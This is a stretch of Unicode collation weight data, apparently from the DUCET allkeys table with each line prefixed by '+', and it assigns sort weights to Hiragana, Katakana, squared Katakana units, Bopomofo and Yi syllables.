+32EB  ; [.3D76.0020.0013] # CIRCLED KATAKANA HU
+3076  ; [.3D76.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BU
+30D6  ; [.3D76.0020.0011][.0000.0037.0002] # KATAKANA LETTER BU
+3077  ; [.3D76.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PU
+30D7  ; [.3D76.0020.0011][.0000.0038.0002] # KATAKANA LETTER PU
+3332  ; [.3D76.0020.001C][.3D5A.0020.001C][.3D82.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE HUARADDO
+3333  ; [.3D76.0020.001C][.3D5B.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C] # SQUARE HUIITO
+3334  ; [.3D76.0020.001C][.0000.0037.001C][.3D6C.0020.001C][.3D66.0020.001C][.3D5E.0020.001C][.3D84.0020.001C] # SQUARE BUSSYERU
+3335  ; [.3D76.0020.001C][.3D82.0020.001C][.3D8B.0020.001C] # SQUARE HURAN
+3078  ; [.3D77.0020.000E] # HIRAGANA LETTER HE
+31F8  ; [.3D77.0020.000F] # KATAKANA LETTER SMALL HE
+30D8  ; [.3D77.0020.0011] # KATAKANA LETTER HE
+FF8D  ; [.3D77.0020.0012] # HALFWIDTH KATAKANA LETTER HE
+32EC  ; [.3D77.0020.0013] # CIRCLED KATAKANA HE
+3079  ; [.3D77.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BE
+30D9  ; [.3D77.0020.0011][.0000.0037.0002] # KATAKANA LETTER BE
+307A  ; [.3D77.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PE
+30DA  ; [.3D77.0020.0011][.0000.0038.0002] # KATAKANA LETTER PE
+333B  ; [.3D77.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D66.0020.001C][.0000.0037.001C] # SQUARE PEEZI
+333C  ; [.3D77.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D6A.0020.001C] # SQUARE BEETA
+3336  ; [.3D77.0020.001C][.3D62.0020.001C][.3D6A.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE HEKUTAARU
+3337  ; [.3D77.0020.001C][.0000.0038.001C][.3D69.0020.001C] # SQUARE PESO
+3338  ; [.3D77.0020.001C][.0000.0038.001C][.3D70.0020.001C][.3D75.0020.001C] # SQUARE PENIHI
+3339  ; [.3D77.0020.001C][.3D84.0020.001C][.3D6C.0020.001C] # SQUARE HERUTU
+333A  ; [.3D77.0020.001C][.0000.0038.001C][.3D8B.0020.001C][.3D67.0020.001C] # SQUARE PENSU
+307B  ; [.3D78.0020.000E] # HIRAGANA LETTER HO
+31F9  ; [.3D78.0020.000F] # KATAKANA LETTER SMALL HO
+30DB  ; [.3D78.0020.0011] # KATAKANA LETTER HO
+FF8E  ; [.3D78.0020.0012] # HALFWIDTH KATAKANA LETTER HO
+32ED  ; [.3D78.0020.0013] # CIRCLED KATAKANA HO
+307C  ; [.3D78.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BO
+30DC  ; [.3D78.0020.0011][.0000.0037.0002] # KATAKANA LETTER BO
+307D  ; [.3D78.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PO
+30DD  ; [.3D78.0020.0011][.0000.0038.0002] # KATAKANA LETTER PO
+3341  ; [.3D78.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE HOORU
+3342  ; [.3D78.0020.001C][.1C0E.0020.001C][.3D8B.0020.001C] # SQUARE HOON
+333D  ; [.3D78.0020.001C][.0000.0038.001C][.3D5B.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE POINTO
+1F200 ; [.3D78.0020.001C][.3D60.0020.001C] # SQUARE HIRAGANA HOKA
+333E  ; [.3D78.0020.001C][.0000.0037.001C][.3D84.0020.001C][.3D6E.0020.001C] # SQUARE BORUTO
+333F  ; [.3D78.0020.001C][.3D8B.0020.001C] # SQUARE HON
+3340  ; [.3D78.0020.001C][.0000.0038.001C][.3D8B.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE PONDO
+307E  ; [.3D79.0020.000E] # HIRAGANA LETTER MA
+30DE  ; [.3D79.0020.0011] # KATAKANA LETTER MA
+FF8F  ; [.3D79.0020.0012] # HALFWIDTH KATAKANA LETTER MA
+32EE  ; [.3D79.0020.0013] # CIRCLED KATAKANA MA
+3343  ; [.3D79.0020.001C][.3D5B.0020.001C][.3D62.0020.001C][.3D86.0020.001C] # SQUARE MAIKURO
+3344  ; [.3D79.0020.001C][.3D5B.0020.001C][.3D84.0020.001C] # SQUARE MAIRU
+303C  ; [.3D79.0020.0004][.3D67.0020.0004] # MASU MARK
+3345  ; [.3D79.0020.001C][.3D6C.0020.001C][.3D74.0020.001C] # SQUARE MAHHA
+3346  ; [.3D79.0020.001C][.3D84.0020.001C][.3D62.0020.001C] # SQUARE MARUKU
+3347  ; [.3D79.0020.001C][.3D8B.0020.001C][.3D66.0020.001C][.3D81.0020.001C][.3D8B.0020.001C] # SQUARE MANSYON
+307F  ; [.3D7A.0020.000E] # HIRAGANA LETTER MI
+30DF  ; [.3D7A.0020.0011] # KATAKANA LETTER MI
+FF90  ; [.3D7A.0020.0012] # HALFWIDTH KATAKANA LETTER MI
+32EF  ; [.3D7A.0020.0013] # CIRCLED KATAKANA MI
+3348  ; [.3D7A.0020.001C][.3D62.0020.001C][.3D86.0020.001C][.3D8B.0020.001C] # SQUARE MIKURON
+3349  ; [.3D7A.0020.001C][.3D83.0020.001C] # SQUARE MIRI
+334A  ; [.3D7A.0020.001C][.3D83.0020.001C][.3D74.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE MIRIBAARU
+3080  ; [.3D7B.0020.000E] # HIRAGANA LETTER MU
+31FA  ; [.3D7B.0020.000F] # KATAKANA LETTER SMALL MU
+30E0  ; [.3D7B.0020.0011] # KATAKANA LETTER MU
+FF91  ; [.3D7B.0020.0012] # HALFWIDTH KATAKANA LETTER MU
+32F0  ; [.3D7B.0020.0013] # CIRCLED KATAKANA MU
+3081  ; [.3D7C.0020.000E] # HIRAGANA LETTER ME
+30E1  ; [.3D7C.0020.0011] # KATAKANA LETTER ME
+FF92  ; [.3D7C.0020.0012] # HALFWIDTH KATAKANA LETTER ME
+32F1  ; [.3D7C.0020.0013] # CIRCLED KATAKANA ME
+334D  ; [.3D7C.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE MEETORU
+334B  ; [.3D7C.0020.001C][.3D60.0020.001C][.0000.0037.001C] # SQUARE MEGA
+334C  ; [.3D7C.0020.001C][.3D60.0020.001C][.0000.0037.001C][.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE MEGATON
+3082  ; [.3D7D.0020.000E] # HIRAGANA LETTER MO
+30E2  ; [.3D7D.0020.0011] # KATAKANA LETTER MO
+FF93  ; [.3D7D.0020.0012] # HALFWIDTH KATAKANA LETTER MO
+32F2  ; [.3D7D.0020.0013] # CIRCLED KATAKANA MO
+3083  ; [.3D7E.0020.000D] # HIRAGANA LETTER SMALL YA
+3084  ; [.3D7E.0020.000E] # HIRAGANA LETTER YA
+30E3  ; [.3D7E.0020.000F] # KATAKANA LETTER SMALL YA
+FF6C  ; [.3D7E.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YA
+30E4  ; [.3D7E.0020.0011] # KATAKANA LETTER YA
+FF94  ; [.3D7E.0020.0012] # HALFWIDTH KATAKANA LETTER YA
+32F3  ; [.3D7E.0020.0013] # CIRCLED KATAKANA YA
+334E  ; [.3D7E.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE YAADO
+334F  ; [.3D7E.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE YAARU
+3085  ; [.3D7F.0020.000D] # HIRAGANA LETTER SMALL YU
+3086  ; [.3D7F.0020.000E] # HIRAGANA LETTER YU
+30E5  ; [.3D7F.0020.000F] # KATAKANA LETTER SMALL YU
+FF6D  ; [.3D7F.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YU
+30E6  ; [.3D7F.0020.0011] # KATAKANA LETTER YU
+FF95  ; [.3D7F.0020.0012] # HALFWIDTH KATAKANA LETTER YU
+32F4  ; [.3D7F.0020.0013] # CIRCLED KATAKANA YU
+3350  ; [.3D7F.0020.001C][.3D5A.0020.001C][.3D8B.0020.001C] # SQUARE YUAN
+1B001 ; [.3D80.0020.000E] # HIRAGANA LETTER ARCHAIC YE
+3087  ; [.3D81.0020.000D] # HIRAGANA LETTER SMALL YO
+3088  ; [.3D81.0020.000E] # HIRAGANA LETTER YO
+30E7  ; [.3D81.0020.000F] # KATAKANA LETTER SMALL YO
+FF6E  ; [.3D81.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YO
+30E8  ; [.3D81.0020.0011] # KATAKANA LETTER YO
+FF96  ; [.3D81.0020.0012] # HALFWIDTH KATAKANA LETTER YO
+32F5  ; [.3D81.0020.0013] # CIRCLED KATAKANA YO
+309F  ; [.3D81.0020.0016][.3D83.0020.0016] # HIRAGANA DIGRAPH YORI
+3089  ; [.3D82.0020.000E] # HIRAGANA LETTER RA
+31FB  ; [.3D82.0020.000F] # KATAKANA LETTER SMALL RA
+30E9  ; [.3D82.0020.0011] # KATAKANA LETTER RA
+FF97  ; [.3D82.0020.0012] # HALFWIDTH KATAKANA LETTER RA
+32F6  ; [.3D82.0020.0013] # CIRCLED KATAKANA RA
+308A  ; [.3D83.0020.000E] # HIRAGANA LETTER RI
+31FC  ; [.3D83.0020.000F] # KATAKANA LETTER SMALL RI
+30EA  ; [.3D83.0020.0011] # KATAKANA LETTER RI
+FF98  ; [.3D83.0020.0012] # HALFWIDTH KATAKANA LETTER RI
+32F7  ; [.3D83.0020.0013] # CIRCLED KATAKANA RI
+3351  ; [.3D83.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE RITTORU
+3352  ; [.3D83.0020.001C][.3D82.0020.001C] # SQUARE RIRA
+308B  ; [.3D84.0020.000E] # HIRAGANA LETTER RU
+31FD  ; [.3D84.0020.000F] # KATAKANA LETTER SMALL RU
+30EB  ; [.3D84.0020.0011] # KATAKANA LETTER RU
+FF99  ; [.3D84.0020.0012] # HALFWIDTH KATAKANA LETTER RU
+32F8  ; [.3D84.0020.0013] # CIRCLED KATAKANA RU
+3354  ; [.3D84.0020.001C][.1C0E.0020.001C][.3D76.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE RUUBURU
+3353  ; [.3D84.0020.001C][.3D75.0020.001C][.0000.0038.001C][.1C0E.0020.001C] # SQUARE RUPII
+308C  ; [.3D85.0020.000E] # HIRAGANA LETTER RE
+31FE  ; [.3D85.0020.000F] # KATAKANA LETTER SMALL RE
+30EC  ; [.3D85.0020.0011] # KATAKANA LETTER RE
+FF9A  ; [.3D85.0020.0012] # HALFWIDTH KATAKANA LETTER RE
+32F9  ; [.3D85.0020.0013] # CIRCLED KATAKANA RE
+3355  ; [.3D85.0020.001C][.3D7B.0020.001C] # SQUARE REMU
+3356  ; [.3D85.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C][.3D63.0020.001C][.0000.0037.001C][.3D8B.0020.001C] # SQUARE RENTOGEN
+308D  ; [.3D86.0020.000E] # HIRAGANA LETTER RO
+31FF  ; [.3D86.0020.000F] # KATAKANA LETTER SMALL RO
+30ED  ; [.3D86.0020.0011] # KATAKANA LETTER RO
+FF9B  ; [.3D86.0020.0012] # HALFWIDTH KATAKANA LETTER RO
+32FA  ; [.3D86.0020.0013] # CIRCLED KATAKANA RO
+308E  ; [.3D87.0020.000D] # HIRAGANA LETTER SMALL WA
+308F  ; [.3D87.0020.000E] # HIRAGANA LETTER WA
+30EE  ; [.3D87.0020.000F] # KATAKANA LETTER SMALL WA
+30EF  ; [.3D87.0020.0011] # KATAKANA LETTER WA
+FF9C  ; [.3D87.0020.0012] # HALFWIDTH KATAKANA LETTER WA
+32FB  ; [.3D87.0020.0013] # CIRCLED KATAKANA WA
+30F7  ; [.3D87.0020.0011][.0000.0037.0002] # KATAKANA LETTER VA
+3357  ; [.3D87.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE WATTO
+3090  ; [.3D88.0020.000E] # HIRAGANA LETTER WI
+30F0  ; [.3D88.0020.0011] # KATAKANA LETTER WI
+32FC  ; [.3D88.0020.0013] # CIRCLED KATAKANA WI
+30F8  ; [.3D88.0020.0011][.0000.0037.0002] # KATAKANA LETTER VI
+3091  ; [.3D89.0020.000E] # HIRAGANA LETTER WE
+30F1  ; [.3D89.0020.0011] # KATAKANA LETTER WE
+32FD  ; [.3D89.0020.0013] # CIRCLED KATAKANA WE
+30F9  ; [.3D89.0020.0011][.0000.0037.0002] # KATAKANA LETTER VE
+3092  ; [.3D8A.0020.000E] # HIRAGANA LETTER WO
+30F2  ; [.3D8A.0020.0011] # KATAKANA LETTER WO
+FF66  ; [.3D8A.0020.0012] # HALFWIDTH KATAKANA LETTER WO
+32FE  ; [.3D8A.0020.0013] # CIRCLED KATAKANA WO
+30FA  ; [.3D8A.0020.0011][.0000.0037.0002] # KATAKANA LETTER VO
+3093  ; [.3D8B.0020.000E] # HIRAGANA LETTER N
+30F3  ; [.3D8B.0020.0011] # KATAKANA LETTER N
+FF9D  ; [.3D8B.0020.0012] # HALFWIDTH KATAKANA LETTER N
+3105  ; [.3D8C.0020.0002] # BOPOMOFO LETTER B
+31A0  ; [.3D8C.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER BU
+3106  ; [.3D8D.0020.0002] # BOPOMOFO LETTER P
+31B4  ; [.3D8D.0020.0019] # BOPOMOFO FINAL LETTER P
+3107  ; [.3D8E.0020.0002] # BOPOMOFO LETTER M
+3108  ; [.3D8F.0020.0002] # BOPOMOFO LETTER F
+312A  ; [.3D90.0020.0002] # BOPOMOFO LETTER V
+3109  ; [.3D91.0020.0002] # BOPOMOFO LETTER D
+310A  ; [.3D92.0020.0002] # BOPOMOFO LETTER T
+31B5  ; [.3D92.0020.0019] # BOPOMOFO FINAL LETTER T
+310B  ; [.3D93.0020.0002] # BOPOMOFO LETTER N
+310C  ; [.3D94.0020.0002] # BOPOMOFO LETTER L
+310D  ; [.3D95.0020.0002] # BOPOMOFO LETTER G
+31A3  ; [.3D95.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER GU
+310E  ; [.3D96.0020.0002] # BOPOMOFO LETTER K
+31B6  ; [.3D96.0020.0019] # BOPOMOFO FINAL LETTER K
+312B  ; [.3D97.0020.0002] # BOPOMOFO LETTER NG
+31AD  ; [.3D98.0020.0002] # BOPOMOFO LETTER NGG
+310F  ; [.3D99.0020.0002] # BOPOMOFO LETTER H
+31B7  ; [.3D99.0020.0019] # BOPOMOFO FINAL LETTER H
+3110  ; [.3D9A.0020.0002] # BOPOMOFO LETTER J
+31A2  ; [.3D9A.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER JI
+3111  ; [.3D9B.0020.0002] # BOPOMOFO LETTER Q
+3112  ; [.3D9C.0020.0002] # BOPOMOFO LETTER X
+312C  ; [.3D9D.0020.0002] # BOPOMOFO LETTER GN
+3113  ; [.3D9E.0020.0002] # BOPOMOFO LETTER ZH
+3114  ; [.3D9F.0020.0002] # BOPOMOFO LETTER CH
+3115  ; [.3DA0.0020.0002] # BOPOMOFO LETTER SH
+3116  ; [.3DA1.0020.0002] # BOPOMOFO LETTER R
+3117  ; [.3DA2.0020.0002] # BOPOMOFO LETTER Z
+31A1  ; [.3DA2.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ZI
+3118  ; [.3DA3.0020.0002] # BOPOMOFO LETTER C
+3119  ; [.3DA4.0020.0002] # BOPOMOFO LETTER S
+31B8  ; [.3DA5.0020.0002] # BOPOMOFO LETTER GH
+31B9  ; [.3DA6.0020.0002] # BOPOMOFO LETTER LH
+31BA  ; [.3DA7.0020.0002] # BOPOMOFO LETTER ZY
+311A  ; [.3DA8.0020.0002] # BOPOMOFO LETTER A
+31A9  ; [.3DA8.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ANN
+311B  ; [.3DA9.0020.0002] # BOPOMOFO LETTER O
+31A7  ; [.3DA9.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ONN
+31A6  ; [.3DAA.0020.0002] # BOPOMOFO LETTER OO
+311C  ; [.3DAB.0020.0002] # BOPOMOFO LETTER E
+311D  ; [.3DAC.0020.0002] # BOPOMOFO LETTER EH
+31A4  ; [.3DAD.0020.0002] # BOPOMOFO LETTER EE
+31A5  ; [.3DAD.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ENN
+311E  ; [.3DAE.0020.0002] # BOPOMOFO LETTER AI
+31AE  ; [.3DAE.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER AINN
+311F  ; [.3DAF.0020.0002] # BOPOMOFO LETTER EI
+3120  ; [.3DB0.0020.0002] # BOPOMOFO LETTER AU
+31AF  ; [.3DB0.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER AUNN
+3121  ; [.3DB1.0020.0002] # BOPOMOFO LETTER OU
+3122  ; [.3DB2.0020.0002] # BOPOMOFO LETTER AN
+3123  ; [.3DB3.0020.0002] # BOPOMOFO LETTER EN
+3124  ; [.3DB4.0020.0002] # BOPOMOFO LETTER ANG
+31B2  ; [.3DB5.0020.0002] # BOPOMOFO LETTER ONG
+3125  ; [.3DB6.0020.0002] # BOPOMOFO LETTER ENG
+31B0  ; [.3DB7.0020.0002] # BOPOMOFO LETTER AM
+31B1  ; [.3DB8.0020.0002] # BOPOMOFO LETTER OM
+31AC  ; [.3DB9.0020.0002] # BOPOMOFO LETTER IM
+3126  ; [.3DBA.0020.0002] # BOPOMOFO LETTER ER
+3127  ; [.3DBB.0020.0002] # BOPOMOFO LETTER I
+31AA  ; [.3DBB.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER INN
+31B3  ; [.3DBB.0020.0016][.0000.0111.0016] # BOPOMOFO LETTER INNN
+3128  ; [.3DBC.0020.0002] # BOPOMOFO LETTER U
+31AB  ; [.3DBC.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER UNN
+31A8  ; [.3DBC.0020.0004][.0000.0112.0004] # BOPOMOFO LETTER IR
+3129  ; [.3DBD.0020.0002] # BOPOMOFO LETTER IU
+312D  ; [.3DBE.0020.0002] # BOPOMOFO LETTER IH
+A000  ; [.3DBF.0020.0002] # YI SYLLABLE IT
+A001  ; [.3DC0.0020.0002] # YI SYLLABLE IX
+A002  ; [.3DC1.0020.0002] # YI SYLLABLE I
+A003  ; [.3DC2.0020.0002] # YI SYLLABLE IP
+A004  ; [.3DC3.0020.0002] # YI SYLLABLE IET
+A005  ; [.3DC4.0020.0002] # YI SYLLABLE IEX
+A006  ; [.3DC5.0020.0002] # YI SYLLABLE IE
+A007  ; [.3DC6.0020.0002] # YI SYLLABLE IEP
+A008  ; [.3DC7.0020.0002] # YI SYLLABLE AT
+A009  ; [.3DC8.0020.0002] # YI SYLLABLE AX
+A00A  ; [.3DC9.0020.0002] # YI SYLLABLE A
+A00B  ; [.3DCA.0020.0002] # YI SYLLABLE AP
+A00C  ; [.3DCB.0020.0002] # YI SYLLABLE UOX
+A00D  ; [.3DCC.0020.0002] # YI SYLLABLE UO
+A00E  ; [.3DCD.0020.0002] # YI SYLLABLE UOP
+A00F  ; [.3DCE.0020.0002] # YI SYLLABLE OT
+A010  ; [.3DCF.0020.0002] # YI SYLLABLE OX
+A011  ; [.3DD0.0020.0002] # YI SYLLABLE O
+A012  ; [.3DD1.0020.0002] # YI SYLLABLE OP
+A013  ; [.3DD2.0020.0002] # YI SYLLABLE EX
+A014  ; [.3DD3.0020.0002] # YI SYLLABLE E
+A015  ; [.3DD4.0020.0002] # YI SYLLABLE WU
+A016  ; [.3DD5.0020.0002] # YI SYLLABLE BIT
+A017  ; [.3DD6.0020.0002] # YI SYLLABLE BIX
+A018  ; [.3DD7.0020.0002] # YI SYLLABLE BI
+A019  ; [.3DD8.0020.0002] # YI SYLLABLE BIP
+A01A  ; [.3DD9.0020.0002] # YI SYLLABLE BIET
+A01B  ; [.3DDA.0020.0002] # YI SYLLABLE BIEX
+A01C  ; [.3DDB.0020.0002] # YI SYLLABLE BIE
+A01D  ; [.3DDC.0020.0002] # YI SYLLABLE BIEP
+A01E  ; [.3DDD.0020.0002] # YI SYLLABLE BAT
+A01F  ; [.3DDE.0020.0002] # YI SYLLABLE BAX
+A020  ; [.3DDF.0020.0002] # YI SYLLABLE BA
+A021  ; [.3DE0.0020.0002] # YI SYLLABLE BAP
+A022  ; [.3DE1.0020.0002] # YI SYLLABLE BUOX
+A023  ; [.3DE2.0020.0002] # YI SYLLABLE BUO
+A024  ; [.3DE3.0020.0002] # YI SYLLABLE BUOP
+A025  ; [.3DE4.0020.0002] # YI SYLLABLE BOT
+A026  ; [.3DE5.0020.0002] # YI SYLLABLE BOX
+A027  ; [.3DE6.0020.0002] # YI SYLLABLE BO
+A028  ; [.3DE7.0020.0002] # YI SYLLABLE BOP
+A029  ; [.3DE8.0020.0002] # YI SYLLABLE BEX
+A02A  ; [.3DE9.0020.0002] # YI SYLLABLE BE
+A02B  ; [.3DEA.0020.0002] # YI SYLLABLE BEP
+A02C  ; [.3DEB.0020.0002] # YI SYLLABLE BUT
+A02D  ; [.3DEC.0020.0002] # YI SYLLABLE BUX
+A02E  ; [.3DED.0020.0002] # YI SYLLABLE BU
+A02F  ; [.3DEE.0020.0002] # YI SYLLABLE BUP
+A030  ; [.3DEF.0020.0002] # YI SYLLABLE BURX
+A031  ; [.3DF0.0020.0002] # YI SYLLABLE BUR
+A032  ; [.3DF1.0020.0002] # YI SYLLABLE BYT
+A033  ; [.3DF2.0020.0002] # YI SYLLABLE BYX
+A034  ; [.3DF3.0020.0002] # YI SYLLABLE BY
+A035  ; [.3DF4.0020.0002] # YI SYLLABLE BYP
+A036  ; [.3DF5.0020.0002] # YI SYLLABLE BYRX
+A037  ; [.3DF6.0020.0002] # YI SYLLABLE BYR
+A038  ; [.3DF7.0020.0002] # YI SYLLABLE PIT
+A039  ; [.3DF8.0020.0002] # YI SYLLABLE PIX
+A03A  ; [.3DF9.0020.0002] # YI SYLLABLE PI
+A03B  ; [.3DFA.0020.0002] # YI SYLLABLE PIP
+A03C  ; [.3DFB.0020.0002] # YI SYLLABLE PIEX
+A03D  ; [.3DFC.0020.0002] # YI SYLLABLE PIE
+A03E  ; [.3DFD.0020.0002] # YI SYLLABLE PIEP
+A03F  ; [.3DFE.0020.0002] # YI SYLLABLE PAT
+A040  ; [.3DFF.0020.0002] # YI SYLLABLE PAX
+A041  ; [.3E00.0020.0002] # YI SYLLABLE PA
+A042  ; [.3E01.0020.0002] # YI SYLLABLE PAP
+A043  ; [.3E02.0020.0002] # YI SYLLABLE PUOX
+A044  ; [.3E03.0020.0002] # YI SYLLABLE PUO
+A045  ; [.3E04.0020.0002] # YI SYLLABLE PUOP
+A046  ; [.3E05.0020.0002] # YI SYLLABLE POT
+A047  ; [.3E06.0020.0002] # YI SYLLABLE POX
+A048  ; [.3E07.0020.0002] # YI SYLLABLE PO
+A049  ; [.3E08.0020.0002] # YI SYLLABLE POP
+A04A  ; [.3E09.0020.0002] # YI SYLLABLE PUT
+A04B  ; [.3E0A.0020.0002] # YI SYLLABLE PUX
+A04C  ; [.3E0B.0020.0002] # YI SYLLABLE PU
+A04D  ; [.3E0C.0020.0002] # YI SYLLABLE PUP
+A04E  ; [.3E0D.0020.0002] # YI SYLLABLE PURX
+A04F  ; [.3E0E.0020.0002] # YI SYLLABLE PUR
+A050  ; [.3E0F.0020.0002] # YI SYLLABLE PYT
+A051  ; [.3E10.0020.0002] # YI SYLLABLE PYX
+A052  ; [.3E11.0020.0002] # YI SYLLABLE PY
+A053  ; [.3E12.0020.0002] # YI SYLLABLE PYP
+A054  ; [.3E13.0020.0002] # YI SYLLABLE PYRX
+A055  ; [.3E14.0020.0002] # YI SYLLABLE PYR
+A056  ; [.3E15.0020.0002] # YI SYLLABLE BBIT
+A057  ; [.3E16.0020.0002] # YI SYLLABLE BBIX
+A058  ; [.3E17.0020.0002] # YI SYLLABLE BBI
+A059  ; [.3E18.0020.0002] # YI SYLLABLE BBIP
+A05A  ; [.3E19.0020.0002] # YI SYLLABLE BBIET
+A05B  ; [.3E1A.0020.0002] # YI SYLLABLE BBIEX
+A05C  ; [.3E1B.0020.0002] # YI SYLLABLE BBIE
+A05D  ; [.3E1C.0020.0002] # YI SYLLABLE BBIEP
+A05E  ; [.3E1D.0020.0002] # YI SYLLABLE BBAT
+A05F  ; [.3E1E.0020.0002] # YI SYLLABLE BBAX
+A060  ; [.3E1F.0020.0002] # YI SYLLABLE BBA
+A061  ; [.3E20.0020.0002] # YI SYLLABLE BBAP
+A062  ; [.3E21.0020.0002] # YI SYLLABLE BBUOX
+A063  ; [.3E22.0020.0002] # YI SYLLABLE BBUO
+A064  ; [.3E23.0020.0002] # YI SYLLABLE BBUOP
+A065  ; [.3E24.0020.0002] # YI SYLLABLE BBOT
+A066  ; [.3E25.0020.0002] # YI SYLLABLE BBOX
+A067  ; [.3E26.0020.0002] # YI SYLLABLE BBO
+A068  ; [.3E27.0020.0002] # YI SYLLABLE BBOP
+A069  ; [.3E28.0020.0002] # YI SYLLABLE BBEX
+A06A  ; [.3E29.0020.0002] # YI SYLLABLE BBE
+A06B  ; [.3E2A.0020.0002] # YI SYLLABLE BBEP
+A06C  ; [.3E2B.0020.0002] # YI SYLLABLE BBUT
+A06D  ; [.3E2C.0020.0002] # YI SYLLABLE BBUX
+A06E  ; [.3E2D.0020.0002] # YI SYLLABLE BBU
+A06F  ; [.3E2E.0020.0002] # YI SYLLABLE BBUP
+A070  ; [.3E2F.0020.0002] # YI SYLLABLE BBURX
+A071  ; [.3E30.0020.0002] # YI SYLLABLE BBUR
+A072  ; [.3E31.0020.0002] # YI SYLLABLE BBYT
+A073  ; [.3E32.0020.0002] # YI SYLLABLE BBYX
+A074  ; [.3E33.0020.0002] # YI SYLLABLE BBY
+A075  ; [.3E34.0020.0002] # YI SYLLABLE BBYP
+A076  ; [.3E35.0020.0002] # YI SYLLABLE NBIT
+A077  ; [.3E36.0020.0002] # YI SYLLABLE NBIX
+A078  ; [.3E37.0020.0002] # YI SYLLABLE NBI
+A079  ; [.3E38.0020.0002] # YI SYLLABLE NBIP
+A07A  ; [.3E39.0020.0002] # YI SYLLABLE NBIEX
+A07B  ; [.3E3A.0020.0002] # YI SYLLABLE NBIE
+A07C  ; [.3E3B.0020.0002] # YI SYLLABLE NBIEP
+A07D  ; [.3E3C.0020.0002] # YI SYLLABLE NBAT
+A07E  ; [.3E3D.0020.0002] # YI SYLLABLE NBAX
+A07F  ; [.3E3E.0020.0002] # YI SYLLABLE NBA
+A080  ; [.3E3F.0020.0002] # YI SYLLABLE NBAP
+A081  ; [.3E40.0020.0002] # YI SYLLABLE NBOT
+A082  ; [.3E41.0020.0002] # YI SYLLABLE NBOX
+A083  ; [.3E42.0020.0002] # YI SYLLABLE NBO
+A084  ; [.3E43.0020.0002] # YI SYLLABLE NBOP
+A085  ; [.3E44.0020.0002] # YI SYLLABLE NBUT
+A086  ; [.3E45.0020.0002] # YI SYLLABLE NBUX
+A087  ; [.3E46.0020.0002] # YI SYLLABLE NBU
+A088  ; [.3E47.0020.0002] # YI SYLLABLE NBUP
+A089  ; [.3E48.0020.0002] # YI SYLLABLE NBURX
+A08A  ; [.3E49.0020.0002] # YI SYLLABLE NBUR
+A08B  ; [.3E4A.0020.0002] # YI SYLLABLE NBYT
+A08C  ; [.3E4B.0020.0002] # YI SYLLABLE NBYX
+A08D  ; [.3E4C.0020.0002] # YI SYLLABLE NBY
+A08E  ; [.3E4D.0020.0002] # YI SYLLABLE NBYP
+A08F  ; [.3E4E.0020.0002] # YI SYLLABLE NBYRX
+A090  ; [.3E4F.0020.0002] # YI SYLLABLE NBYR
+A091  ; [.3E50.0020.0002] # YI SYLLABLE HMIT
+A092  ; [.3E51.0020.0002] # YI SYLLABLE HMIX
+A093  ; [.3E52.0020.0002] # YI SYLLABLE HMI
+A094  ; [.3E53.0020.0002] # YI SYLLABLE HMIP
+A095  ; [.3E54.0020.0002] # YI SYLLABLE HMIEX
+A096  ; [.3E55.0020.0002] # YI SYLLABLE HMIE
+A097  ; [.3E56.0020.0002] # YI SYLLABLE HMIEP
+A098  ; [.3E57.0020.0002] # YI SYLLABLE HMAT
+A099  ; [.3E58.0020.0002] # YI SYLLABLE HMAX
+A09A  ; [.3E59.0020.0002] # YI SYLLABLE HMA
+A09B  ; [.3E5A.0020.0002] # YI SYLLABLE HMAP
+A09C  ; [.3E5B.0020.0002] # YI SYLLABLE HMUOX
+A09D  ; [.3E5C.0020.0002] # YI SYLLABLE HMUO
+A09E  ; [.3E5D.0020.0002] # YI SYLLABLE HMUOP
+A09F  ; [.3E5E.0020.0002] # YI SYLLABLE HMOT
+A0A0  ; [.3E5F.0020.0002] # YI SYLLABLE HMOX
+A0A1  ; [.3E60.0020.0002] # YI SYLLABLE HMO
+A0A2  ; [.3E61.0020.0002] # YI SYLLABLE HMOP
+A0A3  ; [.3E62.0020.0002] # YI SYLLABLE HMUT
+A0A4  ; [.3E63.0020.0002] # YI SYLLABLE HMUX
+A0A5  ; [.3E64.0020.0002] # YI SYLLABLE HMU
+A0A6  ; [.3E65.0020.0002] # YI SYLLABLE HMUP
+A0A7  ; [.3E66.0020.0002] # YI SYLLABLE HMURX
+A0A8  ; [.3E67.0020.0002] # YI SYLLABLE HMUR
+A0A9  ; [.3E68.0020.0002] # YI SYLLABLE HMYX
+A0AA  ; [.3E69.0020.0002] # YI SYLLABLE HMY
